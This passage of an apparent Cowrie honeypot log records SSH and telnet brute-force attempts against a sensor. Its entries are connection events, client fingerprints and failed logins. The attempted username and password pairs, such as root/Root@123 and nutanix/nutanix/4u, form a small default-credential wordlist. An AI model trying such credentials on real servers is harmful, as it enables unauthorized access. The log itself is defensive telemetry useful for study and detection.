{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:31.267504Z","src_ip":"83.168.110.85","session":"3a777efd1572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:31.630825Z","src_ip":"83.168.110.85","session":"3a777efd1572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:32.414525Z","src_ip":"160.251.185.39","session":"a29c2306aa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:32.754108Z","src_ip":"83.168.110.85","session":"3a777efd1572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8adfd94519c","protocol":"ssh","message":"New connection: 83.168.110.85:57316 (159.203.135.109:22) [session: e8adfd94519c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:41.614431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:41.623112Z","src_ip":"83.168.110.85","session":"e8adfd94519c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:41.746026Z","src_ip":"83.168.110.85","session":"e8adfd94519c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:42.115301Z","src_ip":"83.168.110.85","session":"e8adfd94519c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:43.239641Z","src_ip":"83.168.110.85","session":"e8adfd94519c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58812,"dst_ip":"159.203.135.109","dst_port":22,"session":"abee3e318352","protocol":"ssh","message":"New connection: 83.168.110.85:58812 (159.203.135.109:22) [session: abee3e318352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:51.975201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:51.980500Z","src_ip":"83.168.110.85","session":"abee3e318352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:52.102857Z","src_ip":"83.168.110.85","session":"abee3e318352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:52.467210Z","src_ip":"83.168.110.85","session":"abee3e318352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:53.591630Z","src_ip":"83.168.110.85","session":"abee3e318352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48952,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c21db20a1cc","protocol":"ssh","message":"New connection: 83.168.110.85:48952 (159.203.135.109:22) [session: 4c21db20a1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.436206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.442304Z","src_ip":"83.168.110.85","session":"4c21db20a1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.563905Z","src_ip":"83.168.110.85","session":"4c21db20a1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.927128Z","src_ip":"83.168.110.85","session":"4c21db20a1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":48214,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6ad0794da6","protocol":"ssh","message":"New connection: 152.32.171.99:48214 (159.203.135.109:22) [session: 1b6ad0794da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.965454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:02.971541Z","src_ip":"152.32.171.99","session":"1b6ad0794da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:03.192685Z","src_ip":"152.32.171.99","session":"1b6ad0794da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:04.050377Z","src_ip":"83.168.110.85","session":"4c21db20a1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taureau","message":"login attempt [root/taureau] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:04.084617Z","src_ip":"152.32.171.99","session":"1b6ad0794da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:05.302817Z","src_ip":"152.32.171.99","session":"1b6ad0794da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d865661402c","protocol":"ssh","message":"New connection: 83.168.110.85:51906 (159.203.135.109:22) [session: 7d865661402c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:12.700670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:12.710810Z","src_ip":"83.168.110.85","session":"7d865661402c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:12.834402Z","src_ip":"83.168.110.85","session":"7d865661402c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:13.198654Z","src_ip":"83.168.110.85","session":"7d865661402c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:14.323185Z","src_ip":"83.168.110.85","session":"7d865661402c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58472,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac65c7d099b","protocol":"ssh","message":"New connection: 83.168.110.85:58472 (159.203.135.109:22) [session: 2ac65c7d099b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:22.996073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:23.002571Z","src_ip":"83.168.110.85","session":"2ac65c7d099b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:23.119118Z","src_ip":"83.168.110.85","session":"2ac65c7d099b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:23.596269Z","src_ip":"83.168.110.85","session":"2ac65c7d099b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:24.720265Z","src_ip":"83.168.110.85","session":"2ac65c7d099b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51392,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eb6d765fca5","protocol":"ssh","message":"New connection: 83.168.110.85:51392 (159.203.135.109:22) [session: 8eb6d765fca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:33.160569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:33.171917Z","src_ip":"83.168.110.85","session":"8eb6d765fca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:33.292863Z","src_ip":"83.168.110.85","session":"8eb6d765fca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:33.660063Z","src_ip":"83.168.110.85","session":"8eb6d765fca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":47312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5267dd32fad","protocol":"telnet","message":"New connection: 213.108.3.46:47312 (10.17.0.5:23) [session: f5267dd32fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:34.471512Z"}
{"eventid":"cowrie.session.closed","duration":0.010287046432495117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:34.481690Z","src_ip":"213.108.3.46","session":"f5267dd32fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:34.783816Z","src_ip":"83.168.110.85","session":"8eb6d765fca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39454,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5b62a57480","protocol":"ssh","message":"New connection: 83.168.110.85:39454 (159.203.135.109:22) [session: 7a5b62a57480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:43.461118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:43.465779Z","src_ip":"83.168.110.85","session":"7a5b62a57480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01